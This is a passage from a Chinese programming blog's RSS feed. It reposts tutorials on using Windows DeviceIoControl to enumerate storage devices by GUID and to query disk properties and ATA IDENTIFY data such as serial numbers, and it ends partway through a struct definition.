<li class=bhw98>bhw98的专栏：<a href="http://www.csdn.net/develop/author/netauthor/bhw98/"><font color=#336699>http://www.csdn.net/develop/author/netauthor/bhw98/</font></a> </li>
<img src ="http://www.cppblog.com/iniwf/aggbug/79826.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-13 21:13 <a href="http://www.cppblog.com/iniwf/archive/2009/04/13/79826.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实战DeviceIoControl 之五：列举已安装的存储设备</title><link>http://www.cppblog.com/iniwf/archive/2009/04/13/79825.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 13 Apr 2009 13:09:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/13/79825.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79825.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/13/79825.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79825.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79825.html</trackback:ping><description><![CDATA[转自<a href="http://www.cnblogs.com/henryzc/archive/2005/11/08/271912.html">http://www.cnblogs.com/henryzc/archive/2005/11/08/271912.html</a><br><br>
<div class=postText>
<p class=bhw98><strong class=bhw98>Q</strong> 前几次我们讨论的都是设备名比较清楚的情况，有了设备名(路径)，就可以直接调用CreateFile打开设备，进行它所支持的I/O操作了。如果事先并不能确切知道设备名，如何去访问设备呢？
<p class=bhw98><strong class=bhw98>A</strong> 访问设备必须用设备句柄，而得到设备句柄必须知道设备路径，这个套路以你我之力是改变不了的。每个设备都有它所属类型的GUID，我们顺着这个GUID就能获得设备路径。
<p class=bhw98>GUID是同类或同种设备的全球唯一识别码，它是一个128 bit(16字节)的整形数，真实面目为
<pre class=bhw98><code class=bhw98><span class=key>typedef</span> <span class=key>struct</span> _GUID
{
<span class=key>unsigned</span> <span class=key>long</span>  Data1;
<span class=key>unsigned</span> <span class=key>short</span> Data2;
<span class=key>unsigned</span> <span class=key>short</span> Data3;
<span class=key>unsigned</span> <span class=key>char</span>  Data4[<span class=num>8</span>];
} GUID, *PGUID;
</code></pre>
<p class=bhw98>例如，Disk类的GUID为&#8220;53f56307-b6bf-11d0-94f2-00a0c91efb8b&#8221;，在我们的程序里可以定义为
<pre class=bhw98><code class=bhw98><span class=key>const</span> GUID DiskClassGuid = {0x53f56307L, <span class=num>0xb6bf</span>, <span class=num>0x11d0</span>, {<span class=num>0x94</span>, <span class=num>0xf2</span>, <span class=num>0x00</span>, <span class=num>0xa0</span>, <span class=num>0xc9</span>, <span class=num>0x1e</span>, <span class=num>0xfb</span>, <span class=num>0x8b</span>)};
</code></pre>
<p class=bhw98>或者用一个宏来定义
<pre class=bhw98><code class=bhw98>DEFINE_GUID(DiskClassGuid, 0x53f56307L, <span class=num>0xb6bf</span>, <span class=num>0x11d0</span>, <span class=num>0x94</span>, <span class=num>0xf2</span>, <span class=num>0x00</span>, <span class=num>0xa0</span>, <span class=num>0xc9</span>, <span class=num>0x1e</span>, <span class=num>0xfb</span>, <span class=num>0x8b</span>);
</code></pre>
<p class=bhw98>通过GUID找出设备路径，需要用到一组设备管理的API函数
<p class=bhw98>SetupDiGetClassDevs, SetupDiEnumDeviceInterfaces, SetupDiGetInterfaceDeviceDetail, SetupDiDestroyDeviceInfoList,
<p class=bhw98>以及结构SP_DEVICE_INTERFACE_DATA, SP_DEVICE_INTERFACE_DETAIL_DATA。
<p class=bhw98>有关信息请查阅MSDN，这里就不详细介绍了。
<p class=bhw98>实现GUID到设备路径的代码如下：
<pre class=bhw98><code class=bhw98><span class=rem>// SetupDiGetInterfaceDeviceDetail所需要的输出长度，定义足够大</span>
<span class=key>#define</span> INTERFACE_DETAIL_SIZE    (<span class=num>1024</span>)
<span class=rem>// 根据GUID获得设备路径</span>
<span class=rem>// lpGuid: GUID指针</span>
<span class=rem>// pszDevicePath: 设备路径指针的指针</span>
<span class=rem>// 返回: 成功得到的设备路径个数，可能不止1个</span>
<span class=key>int</span> GetDevicePath(LPGUID lpGuid, LPTSTR* pszDevicePath)
{
HDEVINFO hDevInfoSet;
SP_DEVICE_INTERFACE_DATA ifdata;
PSP_DEVICE_INTERFACE_DETAIL_DATA pDetail;
<span class=key>int</span> nCount;
BOOL bResult;
<span class=rem>// 取得一个该GUID相关的设备信息集句柄</span>
hDevInfoSet = ::SetupDiGetClassDevs(lpGuid,     <span class=rem>// class GUID </span>
NULL,                    <span class=rem>// 无关键字 </span>
NULL,                    <span class=rem>// 不指定父窗口句柄 </span>
DIGCF_PRESENT | DIGCF_DEVICEINTERFACE);    <span class=rem>// 目前存在的设备</span>
<span class=rem>// 失败...</span>
<span class=key>if</span> (hDevInfoSet == INVALID_HANDLE_VALUE)
{
<span class=key>return</span> <span class=num>0</span>;
}
<span class=rem>// 申请设备接口数据空间</span>
pDetail = (PSP_DEVICE_INTERFACE_DETAIL_DATA)::GlobalAlloc(LMEM_ZEROINIT, INTERFACE_DETAIL_SIZE);
pDetail-&gt;cbSize = <span class=key>sizeof</span>(SP_DEVICE_INTERFACE_DETAIL_DATA);
nCount = <span class=num>0</span>;
bResult = TRUE;
<span class=rem>// 设备序号=0,1,2... 逐一测试设备接口，到失败为止</span>
<span class=key>while</span> (bResult)
{
ifdata.cbSize = <span class=key>sizeof</span>(ifdata);
<span class=rem>// 枚举符合该GUID的设备接口</span>
bResult = ::SetupDiEnumDeviceInterfaces(
hDevInfoSet,     <span class=rem>// 设备信息集句柄</span>
NULL,            <span class=rem>// 不需额外的设备描述</span>
lpGuid,          <span class=rem>// GUID</span>
(ULONG)nCount,   <span class=rem>// 设备信息集里的设备序号</span>
&amp;ifdata);        <span class=rem>// 设备接口信息</span>
<span class=key>if</span> (bResult)
{
<span class=rem>// 取得该设备接口的细节(设备路径)</span>
bResult = SetupDiGetInterfaceDeviceDetail(
hDevInfoSet,    <span class=rem>// 设备信息集句柄</span>
&amp;ifdata,        <span class=rem>// 设备接口信息</span>
pDetail,        <span class=rem>// 设备接口细节(设备路径)</span>
INTERFACE_DETAIL_SIZE,    <span class=rem>// 输出缓冲区大小</span>
NULL,           <span class=rem>// 不需计算输出缓冲区大小(直接用设定值)</span>
NULL);          <span class=rem>// 不需额外的设备描述</span>
<span class=key>if</span> (bResult)
{
<span class=rem>// 复制设备路径到输出缓冲区</span>
::strcpy(pszDevicePath[nCount], pDetail-&gt;DevicePath);
<span class=rem>// 调整计数值</span>
nCount++;
}
}
}
<span class=rem>// 释放设备接口数据空间</span>
::GlobalFree(pDetail);
<span class=rem>// 关闭设备信息集句柄</span>
::SetupDiDestroyDeviceInfoList(hDevInfoSet);
<span class=key>return</span> nCount;
}
</code></pre>
<p class=bhw98>调用GetDevicePath函数时要注意，pszDevicePath是个指向字符串指针的指针，例如可以这样
<pre class=bhw98><code class=bhw98>    <span class=key>int</span> i;
<span class=key>char</span>* szDevicePath[MAX_DEVICE];        <span class=rem>// 设备路径</span>
<span class=rem>// 分配需要的空间</span>
<span class=key>for</span> (i = <span class=num>0</span>; i &lt; MAX_DEVICE; i++)
{
szDevicePath[i] = <span class=key>new</span> <span class=key>char</span>[<span class=num>256</span>];
}
<span class=rem>// 取设备路径</span>
nDevice = ::GetDevicePath((LPGUID)&amp;DiskClassGuid, szDevicePath);
<span class=rem>// 逐一获取设备信息</span>
<span class=key>for</span> (i = <span class=num>0</span>; i &lt; nDevice; i++)
{
<span class=rem>// 打开设备</span>
hDevice = ::OpenDevice(szDevicePath[i]);
<span class=key>if</span> (hDevice != INVALID_HANDLE_VALUE)
{
... ...        <span class=rem>// I/O操作</span>
::CloseHandle(hDevice);
}
}
<span class=rem>// 释放空间</span>
<span class=key>for</span> (i = <span class=num>0</span>; i &amp; lt; MAX_DEVICE; i++)
{
<span class=key>delete</span> []szDevicePath[i];
}
</code></pre>
<p class=bhw98>本例的Project中除了要包含winioctl.h外，还要包含initguid.h，setupapi.h，以及连接setupapi.lib。
<p class=bhw98><strong class=bhw98>Q</strong> 得到设备路径后，就可以到下一步，用CreateFile打开设备，然后用DeviceIoControl进行读写了吧？
<p class=bhw98><strong class=bhw98>A</strong> 是的。尽管该设备路径与以前我们接触的那些不太一样。本是&#8220;\\.\PhysicalDrive0&#8221;，现在鸟枪换炮，变成了类似这样的一副尊容：
<p class=bhw98>&#8220;\\?\ide#diskmaxtor_2f040j0__________________________vam51jj0#3146563447534558202020202020202020202020#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}&#8221;。
<p class=bhw98>其实这个设备名在注册表的某处可以找到，例如在Win2000中这个名字可以位于
<p class=bhw98>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Disk\Enum\0，
<p class=bhw98>只不过&#8220;#&#8221;换成了&#8220;\&#8221;。分析一下这样的设备路径，你会发现很有趣的东西，它们是由接口类型、产品型号、固件版本、序列号、计算机名、GUID等信息组合而成的。当然，它是没有规范的，不能指望从这里面得到你希望知道的东西。
<p class=bhw98>用CreateFile打开设备后，对于存储设备，IOCTL_DISK_GET_DRIVE_GEOMETRY，IOCTL_STORAGE_GET_MEDIA_TYPES_EX等I/O控制码照常使用。
<p class=bhw98>今天我们讨论一个新的控制码：IOCTL_STORAGE_QUERY_PROPERTY，获取设备属性信息，希望得到系统中所安装的各种固定的和可移动的硬盘、优盘和CD/DVD-ROM/R/W的接口类型、序列号、产品ID等信息。
<pre class=bhw98><code class=bhw98><span class=rem>// IOCTL控制码</span>
<span class=key>#define</span> IOCTL_STORAGE_QUERY_PROPERTY   CTL_CODE(IOCTL_STORAGE_BASE, <span class=num>0x0500</span>, METHOD_BUFFERED, FILE_ANY_ACCESS)
<span class=rem>// 存储设备的总线类型</span>
<span class=key>typedef</span> <span class=key>enum</span> _STORAGE_BUS_TYPE {
BusTypeUnknown = <span class=num>0x00</span>,
BusTypeScsi,
BusTypeAtapi,
BusTypeAta,
BusType1394,
BusTypeSsa,
BusTypeFibre,
BusTypeUsb,
BusTypeRAID,
BusTypeMaxReserved = <span class=num>0x7F</span>
} STORAGE_BUS_TYPE, *PSTORAGE_BUS_TYPE;
<span class=rem>// 查询存储设备属性的类型</span>
<span class=key>typedef</span> <span class=key>enum</span> _STORAGE_QUERY_TYPE {
PropertyStandardQuery = <span class=num>0</span>,          <span class=rem>// 读取描述</span>
PropertyExistsQuery,                <span class=rem>// 测试是否支持</span>
PropertyMaskQuery,                  <span class=rem>// 读取指定的描述</span>
PropertyQueryMaxDefined             <span class=rem>// 验证数据</span>
} STORAGE_QUERY_TYPE, *PSTORAGE_QUERY_TYPE;
<span class=rem>// 查询存储设备还是适配器属性</span>
<span class=key>typedef</span> <span class=key>enum</span> _STORAGE_PROPERTY_ID {
StorageDeviceProperty = <span class=num>0</span>,          <span class=rem>// 查询设备属性</span>
StorageAdapterProperty              <span class=rem>// 查询适配器属性</span>
} STORAGE_PROPERTY_ID, *PSTORAGE_PROPERTY_ID;
<span class=rem>// 查询属性输入的数据结构</span>
<span class=key>typedef</span> <span class=key>struct</span> _STORAGE_PROPERTY_QUERY {
STORAGE_PROPERTY_ID PropertyId;     <span class=rem>// 设备/适配器</span>
STORAGE_QUERY_TYPE QueryType;       <span class=rem>// 查询类型 </span>
UCHAR AdditionalParameters[<span class=num>1</span>];      <span class=rem>// 额外的数据(仅定义了象征性的1个字节)</span>
} STORAGE_PROPERTY_QUERY, *PSTORAGE_PROPERTY_QUERY;
<span class=rem>// 查询属性输出的数据结构</span>
<span class=key>typedef</span> <span class=key>struct</span> _STORAGE_DEVICE_DESCRIPTOR {
ULONG Version;                    <span class=rem>// 版本</span>
ULONG Size;                       <span class=rem>// 结构大小</span>
UCHAR DeviceType;                 <span class=rem>// 设备类型</span>
UCHAR DeviceTypeModifier;         <span class=rem>// SCSI-2额外的设备类型</span>
BOOLEAN RemovableMedia;           <span class=rem>// 是否可移动</span>
BOOLEAN CommandQueueing;          <span class=rem>// 是否支持命令队列</span>
ULONG VendorIdOffset;             <span class=rem>// 厂家设定值的偏移</span>
ULONG ProductIdOffset;            <span class=rem>// 产品ID的偏移</span>
ULONG ProductRevisionOffset;      <span class=rem>// 产品版本的偏移</span>
ULONG SerialNumberOffset;         <span class=rem>// 序列号的偏移</span>
STORAGE_BUS_TYPE BusType;         <span class=rem>// 总线类型</span>
ULONG RawPropertiesLength;        <span class=rem>// 额外的属性数据长度</span>
UCHAR RawDeviceProperties[<span class=num>1</span>];     <span class=rem>// 额外的属性数据(仅定义了象征性的1个字节)</span>
} STORAGE_DEVICE_DESCRIPTOR, *PSTORAGE_DEVICE_DESCRIPTOR;
<span class=rem>// 取设备属性信息</span>
<span class=rem>// hDevice -- 设备句柄</span>
<span class=rem>// pDevDesc -- 输出的设备描述和属性信息缓冲区指针(包含连接在一起的两部分)</span>
BOOL GetDriveProperty(HANDLE hDevice, PSTORAGE_DEVICE_DESCRIPTOR pDevDesc)
{
STORAGE_PROPERTY_QUERY Query;    <span class=rem>// 查询输入参数</span>
DWORD dwOutBytes;                <span class=rem>// IOCTL输出数据长度</span>
BOOL bResult;                    <span class=rem>// IOCTL返回值</span>
<span class=rem>// 指定查询方式</span>
Query.PropertyId = StorageDeviceProperty;
Query.QueryType = PropertyStandardQuery;
<span class=rem>// 用IOCTL_STORAGE_QUERY_PROPERTY取设备属性信息</span>
bResult = ::DeviceIoControl(hDevice, <span class=rem>// 设备句柄</span>
IOCTL_STORAGE_QUERY_PROPERTY,    <span class=rem>// 取设备属性信息</span>
&amp;Query, <span class=key>sizeof</span>(STORAGE_PROPERTY_QUERY),    <span class=rem>// 输入数据缓冲区</span>
pDevDesc, pDevDesc-&gt;Size,        <span class=rem>// 输出数据缓冲区</span>
&amp;dwOutBytes,                     <span class=rem>// 输出数据长度</span>
(LPOVERLAPPED)NULL);             <span class=rem>// 用同步I/O    </span>
<span class=key>return</span> bResult;
}
</code></pre>
<p class=bhw98><strong class=bhw98>Q</strong> 我用这个方法从IOCTL_STORAGE_QUERY_PROPERTY返回的数据中，没有得到CDROM和USB接口的外置硬盘的序列号、产品ID等信息。但从设备路径上看，明明是有这些信息的，为什么它没有填充到STORAGE_DEVICE_DESCRIPTOR中呢？再就是为什么硬盘序列号本是&#8220;D22P7KHE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8221;，为什么它填充的是&#8220;3146563447534558202020202020202020202020&#8221;这种形式呢？
<p class=bhw98><strong class=bhw98>A</strong> 对这两个问题我也是心存疑惑，但又不敢妄加猜测，正琢磨着向微软请教呢。 </p>
<h2 class=bhw98>[相关资源]</h2>
<li class=bhw98>本文Demo源码：<a href="http://www.csdn.net/develop/author/bhw98/StorageEnum.zip"><font color=#000080>StorageEnum.zip</font></a> (23KB) </li>
</div>
<img src ="http://www.cppblog.com/iniwf/aggbug/79825.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-13 21:09 <a href="http://www.cppblog.com/iniwf/archive/2009/04/13/79825.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>实战DeviceIoControl 之四：获取硬盘的详细信息</title><link>http://www.cppblog.com/iniwf/archive/2009/04/13/79824.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 13 Apr 2009 13:06:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/13/79824.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79824.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/13/79824.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79824.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79824.html</trackback:ping><description><![CDATA[转自<a href="http://www.cnblogs.com/henryzc/archive/2005/11/08/271911.html">http://www.cnblogs.com/henryzc/archive/2005/11/08/271911.html</a><br><br>
<div class=postText>
<p class=bhw98><strong class=bhw98>Q</strong> 用IOCTL_DISK_GET_DRIVE_GEOMETRY或IOCTL_STORAGE_GET_MEDIA_TYPES_EX只能得到很少的磁盘参数，我想获得包括硬盘序列号在内的更加详细的信息，有什么办法呀？
<p class=bhw98><strong class=bhw98>A</strong> 确实，用你所说的I/O控制码，只能得到最基本的磁盘参数。获取磁盘出厂信息的I/O控制码，微软在VC/MFC环境中没有开放，在DDK中可以发现一些线索。早先，Lynn McGuire写了一个很出名的获取IDE硬盘详细信息的程序DiskID32，下面的例子是在其基础上经过增删和改进而成的。
<p class=bhw98>本例中，我们要用到ATA/APAPI的IDENTIFY DEVICE指令。ATA/APAPI是国际组织T13起草和发布的IDE/EIDE/UDMA硬盘及其它可移动存储设备与主机接口的标准，至今已经到了ATA/APAPI-7版本。该接口标准规定了ATA/ATAPI设备的输入输出寄存器和指令集。欲了解更详细的ATA/ATAPI技术资料，可访问T13的站点。
<p class=bhw98>用到的常量及数据结构有以下一些：
<pre class=bhw98><code class=bhw98><span class=rem>// IOCTL控制码</span>
<span class=rem>// #define  DFP_SEND_DRIVE_COMMAND   0x0007c084</span>
<span class=key>#define</span>  DFP_SEND_DRIVE_COMMAND   CTL_CODE(IOCTL_DISK_BASE, <span class=num>0x0021</span>, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)
<span class=rem>// #define  DFP_RECEIVE_DRIVE_DATA   0x0007c088</span>
<span class=key>#define</span>  DFP_RECEIVE_DRIVE_DATA   CTL_CODE(IOCTL_DISK_BASE, <span class=num>0x0022</span>, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)
<span class=key>#define</span>  FILE_DEVICE_SCSI           <span class=num>0x0000001B</span>
<span class=key>#define</span>  IOCTL_SCSI_MINIPORT_IDENTIFY      ((FILE_DEVICE_SCSI &lt;&lt; <span class=num>16</span>) + <span class=num>0x0501</span>)
<span class=key>#define</span>  IOCTL_SCSI_MINIPORT        <span class=num>0x0004D008</span>          <span class=rem>//  see NTDDSCSI.H for definition</span>
<span class=rem>// ATA/ATAPI指令</span>
<span class=key>#define</span>  IDE_ATA_IDENTIFY           <span class=num>0xEC</span>     <span class=rem>// ATA的ID指令(IDENTIFY DEVICE)</span>
<span class=rem>// IDE命令寄存器</span>
<span class=key>typedef</span> <span class=key>struct</span> _IDEREGS
{
BYTE bFeaturesReg;       <span class=rem>// 特征寄存器(用于SMART命令)</span>
BYTE bSectorCountReg;    <span class=rem>// 扇区数目寄存器</span>
BYTE bSectorNumberReg;   <span class=rem>// 开始扇区寄存器</span>
BYTE bCylLowReg;         <span class=rem>// 开始柱面低字节寄存器</span>
BYTE bCylHighReg;        <span class=rem>// 开始柱面高字节寄存器</span>
BYTE bDriveHeadReg;      <span class=rem>// 驱动器/磁头寄存器</span>
BYTE bCommandReg;        <span class=rem>// 指令寄存器</span>
BYTE bReserved;          <span class=rem>// 保留</span>
} IDEREGS, *PIDEREGS, *LPIDEREGS;
<span class=rem>// 从驱动程序返回的状态</span>
<span class=key>typedef</span> <span class=key>struct</span> _DRIVERSTATUS
{
BYTE bDriverError;      <span class=rem>// 错误码</span>
BYTE bIDEStatus;        <span class=rem>// IDE状态寄存器</span>
BYTE bReserved[<span class=num>2</span>];      <span class=rem>// 保留</span>
DWORD dwReserved[<span class=num>2</span>];    <span class=rem>// 保留</span>
} DRIVERSTATUS, *PDRIVERSTATUS, *LPDRIVERSTATUS;
<span class=rem>// IDE设备IOCTL输入数据结构</span>
<span class=key>typedef</span> <span class=key>struct</span> _SENDCMDINPARAMS
{
DWORD cBufferSize;      <span class=rem>// 缓冲区字节数</span>
IDEREGS irDriveRegs;    <span class=rem>// IDE寄存器组</span>
BYTE bDriveNumber;      <span class=rem>// 驱动器号</span>
BYTE bReserved[<span class=num>3</span>];      <span class=rem>// 保留</span>
DWORD dwReserved[<span class=num>4</span>];    <span class=rem>// 保留</span>
BYTE bBuffer[<span class=num>1</span>];        <span class=rem>// 输入缓冲区(此处象征性地包含1字节)</span>
} SENDCMDINPARAMS, *PSENDCMDINPARAMS, *LPSENDCMDINPARAMS;
<span class=rem>// IDE设备IOCTL输出数据结构</span>
<span class=key>typedef</span> <span class=key>struct</span> _SENDCMDOUTPARAMS
{
DWORD cBufferSize;          <span class=rem>// 缓冲区字节数</span>
DRIVERSTATUS DriverStatus;  <span class=rem>// 驱动程序返回状态</span>
BYTE bBuffer[<span class=num>1</span>];            <span class=rem>// 输入缓冲区(此处象征性地包含1字节)</span>
} SENDCMDOUTPARAMS, *PSENDCMDOUTPARAMS, *LPSENDCMDOUTPARAMS;
<span class=rem>// IDE的ID命令返回的数据</span>
<span class=rem>// 共512字节(256个WORD)，这里仅定义了一些感兴趣的项(基本上依据ATA/ATAPI-4)</span>
<span class=key>typedef</span> <span class=key>struct</span> _IDINFO
{
USHORT  wGenConfig;                 <span class=rem>// WORD 0: 基本信息字</span>
USHORT  wNumCyls;                   <span class=rem>// WORD 1: 柱面数</span>
USHORT  wReserved2;                 <span class=rem>// WORD 2: 保留</span>
USHORT  wNumHeads;                  <span class=rem>// WORD 3: 磁头数</span>
USHORT  wReserved4;                 <span class=rem>// WORD 4: 保留</span>
USHORT  wReserved5;                 <span class=rem>// WORD 5: 保留</span>
USHORT  wNumSectorsPerTrack;        <span class=rem>// WORD 6: 每磁道扇区数</span>
USHORT  wVendorUnique[<span class=num>3</span>];           <span class=rem>// WORD 7-9: 厂家设定值</span>
CHAR    sSerialNumber[<span class=num>20</span>];          <span class=rem>// WORD 10-19:序列号</span>
USHORT  wBufferType;                <span class=rem>// WORD 20: 缓冲类型</span>
USHORT  wBufferSize;                <span class=rem>// WORD 21: 缓冲大小</span>
USHORT  wECCSize;                   <span class=rem>// WORD 22: ECC校验大小</span>
CHAR    sFirmwareRev[<span class=num>8</span>];            <span class=rem>// WORD 23-26: 固件版本</span>
CHAR    sModelNumber[<span class=num>40</span>];           <span class=rem>// WORD 27-46: 内部型号</span>
USHORT  wMoreVendorUnique;          <span class=rem>// WORD 47: 厂家设定值</span>
USHORT  wReserved48;                <span class=rem>// WORD 48: 保留</span>
<span class=key>struct</span> {
USHORT  reserved1:<span class=num>8</span>;
USHORT  DMA:<span class=num>1</span>;                  <span class=rem>// 1=支持DMA</span>
USHORT  LBA:<span class=num>1</span>;                  <span class=rem>// 1=支持LBA</span>
USHORT  DisIORDY:<span class=num>1</span>;             <span class=rem>// 1=可不使用IORDY</span>
USHORT  IORDY:<span class=num>1</span>;                <span class=rem>// 1=支持IORDY</span>
USHORT  SoftReset:<span class=num>1</span>;            <span class=rem>// 1=需要ATA软启动</span>
USHORT  Overlap:<span class=num>1</span>;              <span class=rem>// 1=支持重叠操作</span>
USHORT  Queue:<span class=num>1</span>;                <span class=rem>// 1=支持命令队列</span>
USHORT  InlDMA:<span class=num>1</span>;               <span class=rem>// 1=支持交叉存取DMA</span>
} wCapabilities;                    <span class=rem>// WORD 49: 一般能力</span>
USHORT  wReserved1;                 <span class=rem>// WORD 50: 保留</span>
USHORT  wPIOTiming;                 <span class=rem>// WORD 51: PIO时序</span>
USHORT  wDMATiming;                 <span class=rem>// WORD 52: DMA时序</span>
<span class=key>struct</span> {
USHORT  CHSNumber:<span class=num>1</span>;            <span class=rem>// 1=WORD 54-58有效</span>
USHORT  CycleNumber:<span class=num>1</span>;          <span class=rem>// 1=WORD 64-70有效</span>
USHORT  UnltraDMA:<span class=num>1</span>;            <span class=rem>// 1=WORD 88有效</span>
USHORT  reserved:<span class=num>13</span>;
} wFieldValidity;                   <span class=rem>// WORD 53: 后续字段有效性标志</span>
USHORT  wNumCurCyls;                <span class=rem>// WORD 54: CHS可寻址的柱面数</span>
USHORT  wNumCurHeads;               <span class=rem>// WORD 55: CHS可寻址的磁头数</span>
USHORT  wNumCurSectorsPerTrack;     <span class=rem>// WORD 56: CHS可寻址每磁道扇区数</span>
USHORT  wCurSectorsLow;             <span class=rem>// WORD 57: CHS可寻址的扇区数低位字</span>
USHORT  wCurSectorsHigh;            <span class=rem>// WORD 58: CHS可寻址的扇区数高位字</span>
<span class=key>struct</span> {
USHORT  CurNumber:<span class=num>8</span>;            <span class=rem>// 当前一次性可读写扇区数</span>
USHORT  Multi:<span class=num>1</span>;                <span class=rem>// 1=已选择多扇区读写</span>
USHORT  reserved1:<span class=num>7</span>;
} wMultSectorStuff;                 <span class=rem>// WORD 59: 多扇区读写设定</span>
ULONG  dwTotalSectors;              <span class=rem>// WORD 60-61: LBA可寻址的扇区数</span>
USHORT  wSingleWordDMA;             <span class=rem>// WORD 62: 单字节DMA支持能力</span>
<span class=key>struct</span> {
USHORT  Mode0:<span class=num>1</span>;                <span class=rem>// 1=支持模式0 (4.17Mb/s)</span>
USHORT  Mode1:<span class=num>1</span>;                <span class=rem>// 1=支持模式1 (13.3Mb/s)</span>
USHORT  Mode2:<span class=num>1</span>;                <span class=rem>// 1=支持模式2 (16.7Mb/s)</span>
USHORT  Reserved1:<span class=num>5</span>;
USHORT  Mode0Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式0</span>
USHORT  Mode1Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式1</span>
USHORT  Mode2Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式2</span>
USHORT  Reserved2:<span class=num>5</span>;
} wMultiWordDMA;                    <span class=rem>// WORD 63: 多字节DMA支持能力</span>
<span class=key>struct</span> {
USHORT  AdvPOIModes:<span class=num>8</span>;          <span class=rem>// 支持高级POI模式数</span>
USHORT  reserved:<span class=num>8</span>;
} wPIOCapacity;                     <span class=rem>// WORD 64: 高级PIO支持能力</span>
USHORT  wMinMultiWordDMACycle;      <span class=rem>// WORD 65: 多字节DMA传输周期的最小值</span>
USHORT  wRecMultiWordDMACycle;      <span class=rem>// WORD 66: 多字节DMA传输周期的建议值</span>
USHORT  wMinPIONoFlowCycle;         <span class=rem>// WORD 67: 无流控制时PIO传输周期的最小值</span>
USHORT  wMinPOIFlowCycle;           <span class=rem>// WORD 68: 有流控制时PIO传输周期的最小值</span>
USHORT  wReserved69[<span class=num>11</span>];            <span class=rem>// WORD 69-79: 保留</span>
<span class=key>struct</span> {
USHORT  Reserved1:<span class=num>1</span>;
USHORT  ATA1:<span class=num>1</span>;                 <span class=rem>// 1=支持ATA-1</span>
USHORT  ATA2:<span class=num>1</span>;                 <span class=rem>// 1=支持ATA-2</span>
USHORT  ATA3:<span class=num>1</span>;                 <span class=rem>// 1=支持ATA-3</span>
USHORT  ATA4:<span class=num>1</span>;                 <span class=rem>// 1=支持ATA/ATAPI-4</span>
USHORT  ATA5:<span class=num>1</span>;                 <span class=rem>// 1=支持ATA/ATAPI-5</span>
USHORT  ATA6:<span class=num>1</span>;                 <span class=rem>// 1=支持ATA/ATAPI-6</span>
USHORT  ATA7:<span class=num>1</span>;                 <span class=rem>// 1=支持ATA/ATAPI-7</span>
USHORT  ATA8:<span class=num>1</span>;                 <span class=rem>// 1=支持ATA/ATAPI-8</span>
USHORT  ATA9:<span class=num>1</span>;                 <span class=rem>// 1=支持ATA/ATAPI-9</span>
USHORT  ATA10:<span class=num>1</span>;                <span class=rem>// 1=支持ATA/ATAPI-10</span>
USHORT  ATA11:<span class=num>1</span>;                <span class=rem>// 1=支持ATA/ATAPI-11</span>
USHORT  ATA12:<span class=num>1</span>;                <span class=rem>// 1=支持ATA/ATAPI-12</span>
USHORT  ATA13:<span class=num>1</span>;                <span class=rem>// 1=支持ATA/ATAPI-13</span>
USHORT  ATA14:<span class=num>1</span>;                <span class=rem>// 1=支持ATA/ATAPI-14</span>
USHORT  Reserved2:<span class=num>1</span>;
} wMajorVersion;                    <span class=rem>// WORD 80: 主版本</span>
USHORT  wMinorVersion;              <span class=rem>// WORD 81: 副版本</span>
USHORT  wReserved82[<span class=num>6</span>];             <span class=rem>// WORD 82-87: 保留</span>
<span class=key>struct</span> {
USHORT  Mode0:<span class=num>1</span>;                <span class=rem>// 1=支持模式0 (16.7Mb/s)</span>
USHORT  Mode1:<span class=num>1</span>;                <span class=rem>// 1=支持模式1 (25Mb/s)</span>
USHORT  Mode2:<span class=num>1</span>;                <span class=rem>// 1=支持模式2 (33Mb/s)</span>
USHORT  Mode3:<span class=num>1</span>;                <span class=rem>// 1=支持模式3 (44Mb/s)</span>
USHORT  Mode4:<span class=num>1</span>;                <span class=rem>// 1=支持模式4 (66Mb/s)</span>
USHORT  Mode5:<span class=num>1</span>;                <span class=rem>// 1=支持模式5 (100Mb/s)</span>
USHORT  Mode6:<span class=num>1</span>;                <span class=rem>// 1=支持模式6 (133Mb/s)</span>
USHORT  Mode7:<span class=num>1</span>;                <span class=rem>// 1=支持模式7 (166Mb/s) ???</span>
USHORT  Mode0Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式0</span>
USHORT  Mode1Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式1</span>
USHORT  Mode2Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式2</span>
USHORT  Mode3Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式3</span>
USHORT  Mode4Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式4</span>
USHORT  Mode5Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式5</span>
USHORT  Mode6Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式6</span>
USHORT  Mode7Sel:<span class=num>1</span>;             <span class=rem>// 1=已选择模式7</span>
